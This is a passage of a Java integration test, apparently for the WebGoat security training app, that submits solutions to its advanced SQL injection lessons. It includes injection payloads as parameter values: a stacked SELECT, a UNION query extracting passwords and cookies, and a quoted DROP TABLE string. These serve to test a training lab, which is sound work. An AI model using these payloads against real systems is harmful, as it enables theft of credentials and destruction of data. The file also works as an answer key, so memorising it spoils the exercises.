checkAssignment(url("/WebGoat/SqlInjectionAdvanced/challenge_Login"), params, true);
params.clear();
params.put("userid_6a", "'; SELECT * FROM user_system_data;--");
checkAssignment(url("/WebGoat/SqlInjectionAdvanced/attack6a"), params, true);
params.clear();
params.put("userid_6a", "Smith' union select userid,user_name, user_name,user_name,password,cookie,userid from user_system_data --");
checkAssignment(url("/WebGoat/SqlInjectionAdvanced/attack6a"), params, true);
params.clear();
params.put("userid_6b", "passW0rD");
checkAssignment(url("/WebGoat/SqlInjectionAdvanced/attack6b"), params, true);
params.clear();
params.put("question_0_solution", "Solution 4: A statement has got values instead of a prepared statement");
params.put("question_1_solution", "Solution 3: ?");
params.put("question_2_solution", "Solution 2: Prepared statements are compiled once by the database management system waiting for input and are pre-compiled this way.");
params.put("question_3_solution", "Solution 3: Placeholders can prevent that the users input gets attached to the SQL query resulting in a seperation of code and data.");
params.put("question_4_solution", "Solution 4: The database registers 'Robert' ); DROP TABLE Students;--'.");
checkAssignment(url("/WebGoat/SqlInjectionAdvanced/quiz"), params, true);
checkResults("/SqlInjectionAdvanced/");
}
}

Some files were not shown because too many files have changed in this diff Show More